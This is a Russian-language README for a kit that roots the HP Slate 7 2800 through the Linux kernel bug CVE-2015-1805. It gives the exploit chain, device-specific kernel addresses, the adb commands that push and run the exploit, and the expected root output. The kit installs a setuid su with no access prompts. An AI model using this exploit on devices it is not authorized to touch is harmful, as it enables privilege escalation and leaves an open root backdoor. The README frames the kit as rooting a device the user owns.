22 KiB
Root для HP Slate 7 2800 на Android 4.1.1
English | Русский
Этот репозиторий содержит полный автономный комплект для получения постоянного root-доступа на HP Slate 7 2800 с прошивкой 1.05.18 и ядром Linux 3.0.8+ через локальную уязвимость CVE-2015-1805. Комплект был реально выполнен на планшете, а результат проверен из нового ADB-сеанса и после обычной перезагрузки.
Это не универсальный Android-root. Эксплойт привязан к конкретной конфигурации ядра HP. Не запускайте его на другой модели, прошивке или версии ядра.
Проверенная конфигурация
| Параметр | Проверенное значение |
|---|---|
| Производитель и модель | HP Slate 7 2800 |
| Android | 4.1.1, API 16, сборка JRO03H |
| Product / device | t7h / pine |
| Процессор | Rockchip RK3066, ARMv7 |
| Build fingerprint | hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys |
| Ядро | 3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015 |
| ABI | 32-битный ARM EABI5 |
| SELinux | отсутствует в конфигурации ядра (CONFIG_SECURITY отключён) |
Раздел /system |
ext4, штатно смонтирован read-only |
Проверить устройство без каких-либо изменений можно так:
adb devices -l
adb shell getprop ro.product.model
adb shell getprop ro.build.fingerprint
adb shell getprop ro.build.version.sdk
adb shell cat /proc/version
Или скриптом, который откажется продолжать при несовпадении fingerprint или версии ядра:
./scripts/check-target.sh
./scripts/check-target.sh ADB_SERIAL
Что находится в репозитории
.
├── bin/
│ ├── hp-slate7-cve-2015-1805-root # проверенный эксплойт
│ ├── hp-slate7-install-root # установщик su в /system
│ └── hp-slate7-su # минимальный setuid-root wrapper
├── src/
│ ├── exploit/ # исходники CVE и device-specific правки
│ ├── installer/install-root.c # исходник установщика
│ └── su/rootsh.S # исходник минимального su
├── scripts/
│ ├── build.sh # пересборка всех трёх ELF-файлов
│ ├── check-target.sh # безопасная проверка совместимости
│ └── root-device.sh # проверка, загрузка и запуск комплекта
├── SHA256SUMS # хеши проверенных bin/*
├── NOTICE # происхождение исходного PoC
└── LICENSE # GPL-3.0
Формат и назначение файлов
| Файл | Формат | Размер | Назначение |
|---|---|---|---|
bin/hp-slate7-cve-2015-1805-root |
ELF 32-bit ARM EABI5, static, unstripped | 2 722 320 байт | Эксплуатация CVE, получение uid 0 и запуск установщика |
bin/hp-slate7-install-root |
ELF 32-bit ARM EABI5, static, stripped | 22 596 байт | Кратковременно перемонтирует /system rw, устанавливает su, возвращает ro |
bin/hp-slate7-su |
ELF 32-bit ARM EABI5, static, stripped | 656 байт | Делает setresgid(0,0,0), setresuid(0,0,0) и запускает /system/bin/sh |
SHA-256 проверенных бинарников:
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f bin/hp-slate7-cve-2015-1805-root
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a bin/hp-slate7-install-root
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e bin/hp-slate7-su
Проверка на macOS:
shasum -a 256 -c SHA256SUMS
Проверка на Linux:
sha256sum -c SHA256SUMS
Используйте для планшета файлы из bin/: это именно те байты, которые были
проверены на устройстве. Каталог build/ предназначен для локальной
пересборки и в Git не добавляется.
Какая уязвимость используется
CVE-2015-1805 — ошибка в
реализациях pipe_read() и pipe_write() старых ядер Linux. При ошибке
атомарного копирования код некорректно продолжает обход массива iovec, что
может вывести указатель за его границы. В результате локальный непривилегированный
процесс может повредить память, аварийно завершить ядро или повысить привилегии.
Подробный разбор механизма опубликован в
oss-security, а
исправления находятся, в частности, в upstream-коммитах Linux
637b58c
и f0d1bec.
Ядро планшета 3.0.8+ оказалось уязвимо. До изменения kernel memory была
выполнена отдельная безвредная проверка той же гонки: обе цели записи находились
в обычной памяти тестового процесса. Она завершилась результатом
CVE-2015-1805: VULNERABLE, после чего планшет оставался доступен по ADB.
Как устроена цепочка повышения привилегий
- Эксплойт создаёт гонку между
readv(), изменением отображения памяти и обработкой большого массиваiovecв уязвимом pipe-коде ядра. - Полученный примитив записи подменяет временно свободную запись 222 в
sys_call_tableадресом небольшого ARM-trampoline из процесса эксплойта. - Адрес таблицы вычисляется через high vector по адресу
0xffff0008. На проверенном устройстве инструкция равна0xe59ff410, literal указывает наvector_swi = 0xc04d0d40. - Из официального архива ядра HP Open Source 1.05.10
(SHA-256 архива:
dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2) с defconfigrk30_t7h_dvt_defconfigнезависимо собраныvector_swiиsys_call_table: их смещение равно0xc4. В установленной прошивке нет OABI и seccomp, поэтому итоговый runtime-адрес таблицы —0xc04d0e04. - Trampoline состоит ровно из шести ARM-инструкций. Он получает текущий
sp, выравнивает его на размер kernel stack 8192 байта и записывает-1только вthread_info.addr_limitпо смещению 8. Внешних вызовов, пролога и compiler runtime в нём нет. - Сразу после возврата из временного syscall запись 222 восстанавливается из
записи 223. В исходниках HP обе записи являются
sys_ni_syscall; на проверенном ядре восстановлен указатель0xc051900c. - После расширения
addr_limitpipe-копирование читает текущийtask_struct, находитcredи проверяет найденную структуру по текущим uid/gid, выравниванию, счётчику ссылок и совпадениюreal_cred == cred. Только после этих проверок uid/gid обнуляются, а capability masks заполняются единицами. - Процесс получает
uid=0и запускает/data/local/tmp/install-root. Установщик перемонтирует/systemв rw, копирует payload в/system/xbin/su, выставляетroot:rootи режим06755, вызываетsync()и возвращает/systemв read-only.
Исходная функция current_thread_info() из старых kernel headers была
несовместима с современным Clang при -O0: ранний прототип читал
неинициализированное слово вместо регистра sp и мог уронить ядро. В данном
репозитории она заменена проверенным naked ARM-trampoline. Ранний бинарник в
репозиторий не включён.
Какой софт нужен
Для готовых файлов из bin/
- компьютер с macOS или Linux; Windows также возможен при наличии корректного ADB USB-драйвера, но данный запуск проверялся на macOS;
adbиз Android SDK Platform Tools;- исправный USB-кабель с передачей данных;
- включённая «Отладка по USB» и подтверждённый RSA-ключ компьютера на экране планшета.
Не нужны Android NDK, Java, Python, fastboot, разблокировка bootloader, custom recovery, root-APK или доступ к сети. Эксплойт и payload статически скомпонованы.
Для пересборки
- Zig 0.15.2; достаточно распаковать portable archive, устанавливать пакет в систему не требуется;
- Bash;
shasumлибоsha256sumдля контроля результата.
Android NDK по-прежнему не нужен: Zig предоставляет ARM musl cross-toolchain.
Подготовка планшета
- Зарядите планшет минимум до 50%. Во время подтверждённого запуска заряд был около 80%.
- Загрузите Android обычным способом и разблокируйте экран.
- Включите «Для разработчиков» → «Отладка по USB».
- Подключите кабель и подтвердите RSA-запрос отладки, если Android его покажет.
- Не запускайте Towelroot, KingRoot и другие root-приложения параллельно.
- Закройте лишние приложения. Эксплойт создаёт много потоков и близко подходит к лимитам этого старого устройства.
Проверьте связь:
adb devices -l
Статус должен быть device, а не offline или unauthorized.
Получение root: ручная последовательность
Перейдите в корень репозитория и сначала проверьте точное совпадение устройства:
./scripts/check-target.sh
Если подключено несколько устройств, передавайте serial во всех командах через
adb -s SERIAL или используйте переменную ANDROID_SERIAL.
Загрузите три файла под именами, которые ожидают друг друга:
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7
Выставьте права и сбросьте staging-файлы на накопитель:
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'
Запустите эксплойт один раз:
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'
Подтверждённый успешный вывод:
offset:c4
addr:c04d0d40
[+] Done
restored syscall 222 to 0xc051900c
exploit rc=0 uid=0 gid=0
installer uid=0 gid=0
install-su ok
DEVICE_RC=0
Если устройство на несколько секунд исчезло из ADB, не запускайте эксплойт повторно. Дождитесь его возвращения:
adb wait-for-device
Автоматизированный запуск
Скрипт выполняет проверку fingerprint и ядра, проверяет SHA-256, загружает
файлы, просит ввести ROOT, запускает эксплойт и проверяет uid=0:
./scripts/root-device.sh
Для нескольких устройств:
./scripts/root-device.sh --serial ADB_SERIAL
Флаг --yes убирает интерактивное подтверждение и предназначен только для
осознанного автоматического запуска:
./scripts/root-device.sh --serial ADB_SERIAL --yes
Проверка результата
Проверяйте root из нового ADB shell, а не по uid процесса эксплойта:
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
adb shell 'ls -l /system/xbin/su'
adb shell 'cat /proc/mounts' | grep ' /system '
Ожидается:
uid=2000(shell) ...
uid=0(root) gid=0(root) ...
SU_RC=0
-rwsr-sr-x root root ... su
... /system ext4 ro,...
Затем удалите только временные staging-файлы. Установленный
/system/xbin/su не удаляется:
adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'
Комплект не создаёт /data/local.prop и не изменяет пользовательские данные.
Выполните обычную перезагрузку и итоговую проверку постоянного root:
adb reboot
adb wait-for-device
adb shell getprop sys.boot_completed
adb shell '/system/xbin/su -c id'
На проверенном планшете после перезагрузки было получено:
uid=0(root) gid=0(root) ...
Установленный файл был выгружен обратно с планшета и побайтно совпал с
bin/hp-slate7-su:
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e
Использование root
Выполнение одной команды:
adb shell '/system/xbin/su -c id'
adb shell '/system/xbin/su -c "ls -la /data"'
hp-slate7-su — намеренно минимальный wrapper без Android-приложения,
диалогов подтверждения, daemon и журнала разрешений. Любой локальный процесс,
который способен исполнить /system/xbin/su, потенциально может получить root.
Не используйте этот устаревший планшет для конфиденциальных данных после root и
не устанавливайте на него непроверенные APK.
Пересборка из исходников
Укажите путь к portable Zig 0.15.2 или добавьте zig в PATH:
ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh
Результат появится в build/:
build/hp-slate7-cve-2015-1805-root
build/hp-slate7-install-root
build/hp-slate7-su
Проверить формат:
file build/hp-slate7-*
Все три файла должны быть 32-битными ARM EABI5 ELF. При проверенной версии
Zig 0.15.2 установщик и su пересобираются побайтно идентично файлам из
bin/. Хеш эксплойта может отличаться из-за абсолютных путей в DWARF и linker
metadata; его критический шестикомандный trampoline при проверочной пересборке
совпал побайтно. Пересборка не заменяет контрольные суммы файлов из bin/,
которые фактически запускались на планшете.
Возможные проблемы
unauthorized
Разблокируйте экран и подтвердите RSA-ключ USB-отладки. Если запрос не появился,
переподключите кабель и повторите adb devices -l.
offline или устройство исчезло
Подождите несколько секунд и выполните adb wait-for-device. Если планшет
выключился, включите его обычной кнопкой Power. Не запускайте второй экземпляр
эксплойта одновременно.
Эксплойт не вывел [+] Done
CVE эксплуатируется через гонку и теоретически может не сработать. Перезагрузите планшет перед единственной повторной попыткой. Не запускайте бинарник циклом: ошибка гонки способна аварийно завершить ядро.
Есть su, но команда завершается с кодом 127
Проверьте SHA-256 файла. Ранний исследовательский wrapper неправильно получал
argv на ARM и завершался с 127. В этом репозитории находится исправленная
656-байтная версия с SHA-256
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e.
На экране остаётся логотип HP, но ADB уже доступен
Проверьте реальное состояние Android:
adb shell getprop sys.boot_completed
adb shell dumpsys window windows
Значение sys.boot_completed=1 означает, что Android загрузился, даже если
физический дисплей ещё показывает старый кадр.
Что проверялось и что не использовалось
На устройстве были безопасно исключены либо оказались непригодными другие
общеизвестные пути: CVE-2013-6282, CVE-2013-2094, CVE-2012-0056,
CVE-2013-4787, Dirty COW и PingPongRoot. Towelroot/CVE-2014-3153 приводил к
падению этого ядра и не должен использоваться. CVE-2014-7951 позволяла записать
файл через ADB restore traversal, но firmware HP не загружала
/data/local.prop, поэтому root этим способом не получался.
Bootloader использует старый Rockchip loader и не появился как стандартное fastboot-устройство. Прошивка recovery или разблокировка bootloader для данного результата не потребовались.
Происхождение и лицензия
Основой exploit-кода послужил
mobilelinux/iovy_root_research,
commit f945796, который в свою очередь указывает на
dosomder/iovyroot. Device-specific
изменения включают ограничение количества потоков, исправление таймаута,
naked ARM-trampoline, раннее восстановление syscall-таблицы, валидацию cred
и отключение неприменимой SELinux-ветки.
Исходные уведомления сохранены. Репозиторий распространяется по GPL-3.0; см.
LICENSE и NOTICE.
Ответственность
Эксплуатация kernel memory всегда несёт риск перезагрузки, повреждения системы или потери данных. Комплект предназначен только для принадлежащего вам HP Slate 7 2800 с точно совпадающей прошивкой. Сделайте резервную копию важных данных и не применяйте его к чужим устройствам.
Исследование безопасности и документация выполнены при содействии OpenAI Codex на базе GPT-5.6 Sol с доступом к возможностям кибербезопасности Daybreak Blue.
Репозитории проекта: основной · GitHub · зеркало только для чтения